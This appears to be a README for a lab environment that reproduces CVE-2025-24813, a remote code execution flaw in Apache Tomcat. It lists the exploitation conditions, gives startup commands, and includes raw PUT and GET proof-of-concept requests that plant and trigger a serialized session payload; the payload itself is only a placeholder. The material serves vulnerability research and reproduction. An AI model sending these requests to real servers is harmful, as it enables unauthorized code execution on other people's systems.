CVE-2025-24813

Description

This repository is an environment for reproducing the latest RCE of CVE-2025-24813 Tomcat.

For learning and research purposes only!

Exploitation Conditions

• The application has enabled the DefaultServlet write functionality, which is disabled by default.
• The application supports partial PUT requests, allowing malicious serialized data to be written into session files. This feature is enabled by default.
• The application uses Tomcat's file session persistence and the default session storage location, which requires additional configuration.
• The application includes a library with a deserialization vulnerability, such as commons-collections in the classpath. This condition depends on whether the business implementation relies on a library with a deserialization exploit chain.

This environment has enabled the conditions required for reproduction above.

Start Tomcat

Linux:

chmod +x apache-tomcat-9.0.98/bin/*
apache-tomcat-9.0.98/bin/catalina.sh run

Windows:

apache-tomcat-9.0.98/bin/catalina.bat run

Access: http://127.0.0.1:9001/

POC

Generate a malicious serialization file and upload it using the following packet. Note that the chunk value of Range must match the Length and be larger than the current file length.

PUT /xxxxx/session HTTP/1.1  
Host: 192.168.131.32:8080  
Content-Length: 1000  
Content-Range: bytes 0-1000/1200  

{{反序列化文件内容)}}

Trigger using the following POC:

GET / HTTP/1.1  
Host: 192.168.131.32:8080  
Cookie: JSESSIONID=.xxxxx

Reference: https://forum.butian.net/article/674